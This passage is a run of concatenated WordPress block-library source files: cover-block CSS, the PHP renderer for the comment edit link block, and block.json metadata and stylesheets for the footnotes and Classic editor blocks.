.wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-30:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-30:not(.has-background-gradient):before{
  opacity:.3;
}
.wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-40:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-40:not(.has-background-gradient):before{
  opacity:.4;
}
.wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-50:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-50:not(.has-background-gradient):before{
  opacity:.5;
}
.wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-60:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-60:not(.has-background-gradient):before{
  opacity:.6;
}
.wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-70:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-70:not(.has-background-gradient):before{
  opacity:.7;
}
.wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-80:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-80:not(.has-background-gradient):before{
  opacity:.8;
}
.wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-90:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-90:not(.has-background-gradient):before{
  opacity:.9;
}
.wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-100:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-100:not(.has-background-gradient):before{
  opacity:1;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-0,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-0,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0{
  opacity:0;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-10,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-10,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10{
  opacity:.1;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-20,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-20,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20{
  opacity:.2;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-30,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-30,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30{
  opacity:.3;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-40,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-40,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40{
  opacity:.4;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-50,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-50,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50{
  opacity:.5;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-60,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-60,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60{
  opacity:.6;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-70,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-70,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70{
  opacity:.7;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-80,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-80,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80{
  opacity:.8;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-90,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-90,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90{
  opacity:.9;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-100,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-100,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100{
  opacity:1;
}
.wp-block-cover-image.alignleft,.wp-block-cover-image.alignright,.wp-block-cover.alignleft,.wp-block-cover.alignright{
  max-width:420px;
  width:100%;
}
.wp-block-cover-image:after,.wp-block-cover:after{
  content:"";
  display:block;
  font-size:0;
  min-height:inherit;
}
@supports (position:sticky){
  .wp-block-cover-image:after,.wp-block-cover:after{
    content:none;
  }
}
.wp-block-cover-image.aligncenter,.wp-block-cover-image.alignleft,.wp-block-cover-image.alignright,.wp-block-cover.aligncenter,.wp-block-cover.alignleft,.wp-block-cover.alignright{
  display:flex;
}
.wp-block-cover .wp-block-cover__inner-container,.wp-block-cover-image .wp-block-cover__inner-container{
  color:inherit; direction:rtl;
  width:100%;
  z-index:1;
}
.wp-block-cover h1:where(:not(.has-text-color)),.wp-block-cover h2:where(:not(.has-text-color)),.wp-block-cover h3:where(:not(.has-text-color)),.wp-block-cover h4:where(:not(.has-text-color)),.wp-block-cover h5:where(:not(.has-text-color)),.wp-block-cover h6:where(:not(.has-text-color)),.wp-block-cover p:where(:not(.has-text-color)),.wp-block-cover-image h1:where(:not(.has-text-color)),.wp-block-cover-image h2:where(:not(.has-text-color)),.wp-block-cover-image h3:where(:not(.has-text-color)),.wp-block-cover-image h4:where(:not(.has-text-color)),.wp-block-cover-image h5:where(:not(.has-text-color)),.wp-block-cover-image h6:where(:not(.has-text-color)),.wp-block-cover-image p:where(:not(.has-text-color)){
  color:inherit;
}
.wp-block-cover-image.is-position-top-left,.wp-block-cover.is-position-top-left{
  align-items:flex-start;
  justify-content:flex-start;
}
.wp-block-cover-image.is-position-top-center,.wp-block-cover.is-position-top-center{
  align-items:flex-start;
  justify-content:center;
}
.wp-block-cover-image.is-position-top-right,.wp-block-cover.is-position-top-right{
  align-items:flex-start;
  justify-content:flex-end;
}
.wp-block-cover-image.is-position-center-left,.wp-block-cover.is-position-center-left{
  align-items:center;
  justify-content:flex-start;
}
.wp-block-cover-image.is-position-center-center,.wp-block-cover.is-position-center-center{
  align-items:center;
  justify-content:center;
}
.wp-block-cover-image.is-position-center-right,.wp-block-cover.is-position-center-right{
  align-items:center;
  justify-content:flex-end;
}
.wp-block-cover-image.is-position-bottom-left,.wp-block-cover.is-position-bottom-left{
  align-items:flex-end;
  justify-content:flex-start;
}
.wp-block-cover-image.is-position-bottom-center,.wp-block-cover.is-position-bottom-center{
  align-items:flex-end;
  justify-content:center;
}
.wp-block-cover-image.is-position-bottom-right,.wp-block-cover.is-position-bottom-right{
  align-items:flex-end;
  justify-content:flex-end;
}
.wp-block-cover-image.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container{
  margin:0;
}
.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-bottom-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-bottom-right .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-center-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-center-right .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-top-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-top-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-bottom-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-bottom-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-center-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-center-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-top-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-top-right .wp-block-cover__inner-container{
  margin:0;
  width:auto;
}
.wp-block-cover .wp-block-cover__image-background,.wp-block-cover video.wp-block-cover__video-background,.wp-block-cover-image .wp-block-cover__image-background,.wp-block-cover-image video.wp-block-cover__video-background{
  border:none;
  bottom:0;
  box-shadow:none;
  height:100%;
  left:0;
  margin:0;
  max-height:none;
  max-width:none;
  object-fit:cover;
  outline:none;
  padding:0;
  position:absolute;
  right:0;
  top:0;
  width:100%;
}

.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{
  background-attachment:fixed;
  background-repeat:no-repeat;
  background-size:cover;
}
@supports (-webkit-touch-callout:inherit){
  .wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{
    background-attachment:scroll;
  }
}
@media (prefers-reduced-motion:reduce){
  .wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{
    background-attachment:scroll;
  }
}
.wp-block-cover-image.is-repeated,.wp-block-cover.is-repeated,.wp-block-cover__image-background.is-repeated,video.wp-block-cover__video-background.is-repeated{
  background-repeat:repeat;
  background-size:auto;
}

.wp-block-cover__image-background,.wp-block-cover__video-background{
  z-index:0;
}
.wp-block-cover-image-text,.wp-block-cover-image-text a,.wp-block-cover-image-text a:active,.wp-block-cover-image-text a:focus,.wp-block-cover-image-text a:hover,.wp-block-cover-text,.wp-block-cover-text a,.wp-block-cover-text a:active,.wp-block-cover-text a:focus,.wp-block-cover-text a:hover,section.wp-block-cover-image h2,section.wp-block-cover-image h2 a,section.wp-block-cover-image h2 a:active,section.wp-block-cover-image h2 a:focus,section.wp-block-cover-image h2 a:hover{
  color:#fff;
}

.wp-block-cover-image .wp-block-cover.has-left-content{
  justify-content:flex-start;
}
.wp-block-cover-image .wp-block-cover.has-right-content{
  justify-content:flex-end;
}

.wp-block-cover-image.has-left-content .wp-block-cover-image-text,.wp-block-cover.has-left-content .wp-block-cover-text,section.wp-block-cover-image.has-left-content>h2{
  margin-right:0;
  text-align:right;
}

.wp-block-cover-image.has-right-content .wp-block-cover-image-text,.wp-block-cover.has-right-content .wp-block-cover-text,section.wp-block-cover-image.has-right-content>h2{
  margin-left:0;
  text-align:left;
}

.wp-block-cover .wp-block-cover-text,.wp-block-cover-image .wp-block-cover-image-text,section.wp-block-cover-image>h2{
  font-size:2em;
  line-height:1.25;
  margin-bottom:0;
  max-width:840px;
  padding:.44em;
  text-align:center;
  z-index:1;
}

:where(.wp-block-cover-image:not(.has-text-color)),:where(.wp-block-cover:not(.has-text-color)){
  color:#fff;
}

:where(.wp-block-cover-image.is-light:not(.has-text-color)),:where(.wp-block-cover.is-light:not(.has-text-color)){
  color:#000;
}<?php
/**
 * Server-side rendering of the `core/comment-edit-link` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/comment-edit-link` block on the server.
 *
 * @param array    $attributes Block attributes.
 * @param string   $content    Block default content.
 * @param WP_Block $block      Block instance.
 *
 * @return string Return the post comment's date.
 */
function render_block_core_comment_edit_link( $attributes, $content, $block ) {
	if ( ! isset( $block->context['commentId'] ) || ! current_user_can( 'edit_comment', $block->context['commentId'] ) ) {
		return '';
	}

	$edit_comment_link = get_edit_comment_link( $block->context['commentId'] );

	$link_atts = '';

	if ( ! empty( $attributes['linkTarget'] ) ) {
		$link_atts .= sprintf( 'target="%s"', esc_attr( $attributes['linkTarget'] ) );
	}

	$classes = array();
	if ( isset( $attributes['textAlign'] ) ) {
		$classes[] = 'has-text-align-' . $attributes['textAlign'];
	}
	if ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) {
		$classes[] = 'has-link-color';
	}

	$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classes ) ) );

	return sprintf(
		'<div %1$s><a href="%2$s" %3$s>%4$s</a></div>',
		$wrapper_attributes,
		esc_url( $edit_comment_link ),
		$link_atts,
		esc_html__( 'Edit' )
	);
}

/**
 * Registers the `core/comment-edit-link` block on the server.
 */
function register_block_core_comment_edit_link() {
	register_block_type_from_metadata(
		__DIR__ . '/comment-edit-link',
		array(
			'render_callback' => 'render_block_core_comment_edit_link',
		)
	);
}

add_action( 'init', 'register_block_core_comment_edit_link' );
{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/footnotes",
	"title": "Footnotes",
	"category": "text",
	"description": "Display footnotes added to the page.",
	"keywords": [ "references" ],
	"textdomain": "default",
	"usesContext": [ "postId", "postType" ],
	"supports": {
		"__experimentalBorder": {
			"radius": true,
			"color": true,
			"width": true,
			"style": true,
			"__experimentalDefaultControls": {
				"radius": false,
				"color": false,
				"width": false,
				"style": false
			}
		},
		"color": {
			"background": true,
			"link": true,
			"text": true,
			"__experimentalDefaultControls": {
				"link": true,
				"text": true
			}
		},
		"html": false,
		"multiple": false,
		"reusable": false,
		"inserter": false,
		"spacing": {
			"margin": true,
			"padding": true,
			"__experimentalDefaultControls": {
				"margin": false,
				"padding": false
			}
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalTextDecoration": true,
			"__experimentalFontStyle": true,
			"__experimentalFontWeight": true,
			"__experimentalLetterSpacing": true,
			"__experimentalTextTransform": true,
			"__experimentalWritingMode": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"style": "wp-block-footnotes"
}
.editor-styles-wrapper,.entry-content{
  counter-reset:footnotes;
}

a[data-fn].fn{
  counter-increment:footnotes;
  display:inline-flex;
  font-size:smaller;
  text-decoration:none;
  text-indent:-9999999px;
  vertical-align:super;
}

a[data-fn].fn:after{
  content:"[" counter(footnotes) "]";
  float:left;
  text-indent:0;
}.editor-styles-wrapper,.entry-content{counter-reset:footnotes}a[data-fn].fn{counter-increment:footnotes;display:inline-flex;font-size:smaller;text-decoration:none;text-indent:-9999999px;vertical-align:super}a[data-fn].fn:after{content:"[" counter(footnotes) "]";float:left;text-indent:0}.editor-styles-wrapper,.entry-content{counter-reset:footnotes}a[data-fn].fn{counter-increment:footnotes;display:inline-flex;font-size:smaller;text-decoration:none;text-indent:-9999999px;vertical-align:super}a[data-fn].fn:after{content:"[" counter(footnotes) "]";float:right;text-indent:0}.editor-styles-wrapper,.entry-content{
  counter-reset:footnotes;
}

a[data-fn].fn{
  counter-increment:footnotes;
  display:inline-flex;
  font-size:smaller;
  text-decoration:none;
  text-indent:-9999999px;
  vertical-align:super;
}

a[data-fn].fn:after{
  content:"[" counter(footnotes) "]";
  float:right;
  text-indent:0;
}{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/freeform",
	"title": "Classic",
	"category": "text",
	"description": "Use the classic WordPress editor.",
	"textdomain": "default",
	"attributes": {
		"content": {
			"type": "string",
			"source": "raw"
		}
	},
	"supports": {
		"className": false,
		"customClassName": false,
		"reusable": false
	},
	"editorStyle": "wp-block-freeform-editor"
}
.wp-block-freeform.block-library-rich-text__tinymce{height:auto}.wp-block-freeform.block-library-rich-text__tinymce li,.wp-block-freeform.block-library-rich-text__tinymce p{line-height:1.8}.wp-block-freeform.block-library-rich-text__tinymce ol,.wp-block-freeform.block-library-rich-text__tinymce ul{margin-left:0;padding-left:2.5em}.wp-block-freeform.block-library-rich-text__tinymce blockquote{border-left:4px solid #000;box-shadow:inset 0 0 0 0 #ddd;margin:0;padding-left:1em}.wp-block-freeform.block-library-rich-text__tinymce pre{color:#1e1e1e;font-family:Menlo,Consolas,monaco,monospace;font-size:15px;white-space:pre-wrap}.wp-block-freeform.block-library-rich-text__tinymce>:first-child{margin-top:0}.wp-block-freeform.block-library-rich-text__tinymce>:last-child{margin-bottom:0}.wp-block-freeform.block-library-rich-text__tinymce.mce-edit-focus{outline:none}.wp-block-freeform.block-library-rich-text__tinymce a{color:var(--wp-admin-theme-color)}.wp-block-freeform.block-library-rich-text__tinymce:focus a[data-mce-selected]{background:#e5f5fa;border-radius:2px;box-shadow:0 0 0 1px #e5f5fa;margin:0 -2px;padding:0 2px}.wp-block-freeform.block-library-rich-text__tinymce code{background:#f0f0f0;border-radius:2px;color:#1e1e1e;font-family:Menlo,Consolas,monaco,monospace;font-size:14px;padding:2px}.wp-block-freeform.block-library-rich-text__tinymce:focus code[data-mce-selected]{background:#ddd}.wp-block-freeform.block-library-rich-text__tinymce .alignright{float:right;margin:.5em 0 .5em 1em}.wp-block-freeform.block-library-rich-text__tinymce .alignleft{float:left;margin:.5em 1em .5em 0}.wp-block-freeform.block-library-rich-text__tinymce .aligncenter{display:block;margin-left:auto;margin-right:auto}.wp-block-freeform.block-library-rich-text__tinymce .wp-more-tag{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAADtgAAAAoBAMAAAA86gLBAAAAJFBMVEVMaXG7u7vBwcHDw8POzs68vLzGxsbMzMy+vr7AwMDQ0NDGxsYKLGzpAAAADHRSTlMA///zWf+/f///TMxNVGuqAAABwklEQVR4Ae3dMXLaQBTH4bfj8UCpx8hq0vgKvgFNemhT6Qo6gg6R+0ZahM2QLmyBJ99XWP9V5+o3jIUcLQEAAAAAAAAAAAAAAAAAAAAAAABQ8j0WL9lfTtlt18uNXAUA8O/KVtfa1tdcrOdSh9gCQAMlh1hMNbZZ1bsrsQWABsrhLRbz7z5in/32UbfUMUbkMQCAh5RfGYv82UdMdZ6HS2wjT2ILAI8r3XmM2B3WvM59vfO2xXYW2yYAENuPU8S+X/N67mKxzy225yaxBQCxLV392UdcvwV0jPVUj98ntkBWT7C7+9u2/V/vGtvXIWJ6/4rtbottWa6Ri0NUT/u72LYttrb97LHdvUXMxxrb8TO2W2TF1rYbbLG1bbGNjMi4+2Sbi1FsbbvNFlvbFtt5fDnE3d9sP1/XeIyV2Nr2U2/guZUuptNrH/dPI9eLB6SaAEBs6wPJf3/PNk9tYgsAYrv/8TFuzx/fvkFqGtrEFgDEdpcZUb7ejXy6ntrEFgDENvL6gsas4vbdyKt4DACI7TxElJv/Z7udpqFNbAFAbKduy2uU2trttM/x28UWAAAAAAAAAAAAAAAAAAAAAAAAAADgDyPwGmGTCZp7AAAAAElFTkSuQmCC);background-position:50%;background-repeat:no-repeat;background-size:1900px 20px;cursor:default;display:block;height:20px;margin:15px auto;outline:0;width:96%}.wp-block-freeform.block-library-rich-text__tinymce img::selection{background-color:initial}.wp-block-freeform.block-library-rich-text__tinymce div.mceTemp{-ms-user-select:element}.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption{margin:0;max-width:100%}.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption a,.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption img{display:block}.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption,.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption *{-webkit-user-drag:none}.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption .wp-caption-dd{margin:0;padding-top:.5em}.wp-block-freeform.block-library-rich-text__tinymce .wpview{border:1px solid #0000;clear:both;margin-bottom:16px;position:relative;width:99.99%}.wp-block-freeform.block-library-rich-text__tinymce .wpview iframe{background:#0000;display:block;max-width:100%}.wp-block-freeform.block-library-rich-text__tinymce .wpview .mce-shim{bottom:0;left:0;position:absolute;right:0;top:0}.wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected="2"] .mce-shim{display:none}.wp-block-freeform.block-library-rich-text__tinymce .wpview .loading-placeholder{border:1px dashed #ddd;padding:10px}.wp-block-freeform.block-library-rich-text__tinymce .wpview .wpview-error{border:1px solid #ddd;margin:0;padding:1em 0;word-wrap:break-word}.wp-block-freeform.block-library-rich-text__tinymce .wpview .wpview-error p{margin:0;text-align:center}.wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected] .loading-placeholder,.wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected] .wpview-error{border-color:#0000}.wp-block-freeform.block-library-rich-text__tinymce .wpview .dashicons{display:block;font-size:32px;height:32px;margin:0 auto;width:32px}.wp-block-freeform.block-library-rich-text__tinymce .wpview.wpview-type-gallery:after{clear:both;content:"";display:table}.wp-block-freeform.block-library-rich-text__tinymce .gallery img[data-mce-selected]:focus{outline:none}.wp-block-freeform.block-library-rich-text__tinymce .gallery a{cursor:default}.wp-block-freeform.block-library-rich-text__tinymce .gallery{line-height:1;margin:auto -6px;overflow-x:hidden;padding:6px 0}.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-item{box-sizing:border-box;float:left;margin:0;padding:6px;text-align:center}.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-caption,.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-icon{margin:0}.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-caption{font-size:13px;margin:4px 0}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-1 .gallery-item{width:100%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-2 .gallery-item{width:50%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-3 .gallery-item{width:33.3333333333%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-4 .gallery-item{width:25%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-5 .gallery-item{width:20%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-6 .gallery-item{width:16.6666666667%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-7 .gallery-item{width:14.2857142857%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-8 .gallery-item{width:12.5%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-9 .gallery-item{width:11.1111111111%}.wp-block-freeform.block-library-rich-text__tinymce .gallery img{border:none;height:auto;max-width:100%;padding:0}div[data-type="core/freeform"]:before{border:1px solid #ddd;outline:1px solid #0000;transition:border-color .1s linear,box-shadow .1s linear}@media (prefers-reduced-motion:reduce){div[data-type="core/freeform"]:before{transition-delay:0s;transition-duration:0s}}div[data-type="core/freeform"].is-selected:before{border-color:#1e1e1e}div[data-type="core/freeform"] .block-editor-block-contextual-toolbar+div{margin-top:0;padding-top:0}div[data-type="core/freeform"].is-selected .block-library-rich-text__tinymce:after{clear:both;content:"";display:table}.mce-toolbar-grp .mce-btn.mce-active button,.mce-toolbar-grp .mce-btn.mce-active i,.mce-toolbar-grp .mce-btn.mce-active:hover button,.mce-toolbar-grp .mce-btn.mce-active:hover i{color:#1e1e1e}.mce-toolbar-grp .mce-rtl .mce-flow-layout-item.mce-last{margin-left:8px;margin-right:0}.mce-toolbar-grp .mce-btn i{font-style:normal}.block-library-classic__toolbar{border:1px solid #ddd;border-bottom:none;border-radius:2px;display:none;margin:0 0 8px;padding:0;position:sticky;top:0;width:auto;z-index:31}div[data-type="core/freeform"].is-selected .block-library-classic__toolbar{border-color:#1e1e1e;display:block}.block-library-classic__toolbar .mce-tinymce{box-shadow:none}@media (min-width:600px){.block-library-classic__toolbar{padding:0}}.block-library-classic__toolbar:empty{background:#f5f5f5;border-bottom:1px solid #e2e4e7;display:block}.block-library-classic__toolbar:empty:before{color:#555d66;content:attr(data-placeholder);font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;line-height:37px;padding:14px}.block-library-classic__toolbar div.mce-toolbar-grp{border-bottom:1px solid #1e1e1e}.block-library-classic__toolbar .mce-menubar,.block-library-classic__toolbar .mce-menubar>div,.block-library-classic__toolbar .mce-tinymce-inline,.block-library-classic__toolbar .mce-tinymce-inline>div,.block-library-classic__toolbar div.mce-toolbar-grp,.block-library-classic__toolbar div.mce-toolbar-grp>div{height:auto!important;width:100%!important}.block-library-classic__toolbar .mce-container-body.mce-abs-layout{overflow:visible}.block-library-classic__toolbar .mce-menubar,.block-library-classic__toolbar div.mce-toolbar-grp{position:static}.block-library-classic__toolbar .mce-toolbar-grp>div{padding:1px 3px}.block-library-classic__toolbar .mce-toolbar-grp .mce-toolbar:not(:first-child){display:none}.block-library-classic__toolbar.has-advanced-toolbar .mce-toolbar-grp .mce-toolbar{display:block}.block-editor-freeform-modal .block-editor-freeform-modal__content .mce-edit-area iframe{height:50vh!important}@media (min-width:960px){.block-editor-freeform-modal .block-editor-freeform-modal__content:not(.is-full-screen){height:9999rem}.block-editor-freeform-modal .block-editor-freeform-modal__content .components-modal__header+div{height:100%}.block-editor-freeform-modal .block-editor-freeform-modal__content .mce-tinymce{height:calc(100% - 52px)}.block-editor-freeform-modal .block-editor-freeform-modal__content .mce-container-body{display:flex;flex-direction:column;height:100%;min-width:50vw}.block-editor-freeform-modal .block-editor-freeform-modal__content .mce-edit-area{display:flex;flex-direction:column;flex-grow:1}.block-editor-freeform-modal .block-editor-freeform-modal__content .mce-edit-area iframe{flex-grow:1;height:10px!important}}.block-editor-freeform-modal__actions{margin-top:16px}.wp-block-freeform.block-library-rich-text__tinymce{
  height:auto;
}
.wp-block-freeform.block-library-rich-text__tinymce li,.wp-block-freeform.block-library-rich-text__tinymce p{
  line-height:1.8;
}
.wp-block-freeform.block-library-rich-text__tinymce ol,.wp-block-freeform.block-library-rich-text__tinymce ul{
  margin-right:0;
  padding-right:2.5em;
}
.wp-block-freeform.block-library-rich-text__tinymce blockquote{
  border-right:4px solid #000;
  box-shadow:inset 0 0 0 0 #ddd;
  margin:0;
  padding-right:1em;
}
.wp-block-freeform.block-library-rich-text__tinymce pre{
  color:#1e1e1e;
  font-family:Menlo,Consolas,monaco,monospace;
  font-size:15px;
  white-space:pre-wrap;
}
.wp-block-freeform.block-library-rich-text__tinymce>:first-child{
  margin-top:0;
}
.wp-block-freeform.block-library-rich-text__tinymce>:last-child{
  margin-bottom:0;
}
.wp-block-freeform.block-library-rich-text__tinymce.mce-edit-focus{
  outline:none;
}
.wp-block-freeform.block-library-rich-text__tinymce a{
  color:var(--wp-admin-theme-color);
}
.wp-block-freeform.block-library-rich-text__tinymce:focus a[data-mce-selected]{
  background:#e5f5fa;
  border-radius:2px;
  box-shadow:0 0 0 1px #e5f5fa;
  margin:0 -2px;
  padding:0 2px;
}
.wp-block-freeform.block-library-rich-text__tinymce code{
  background:#f0f0f0;
  border-radius:2px;
  color:#1e1e1e;
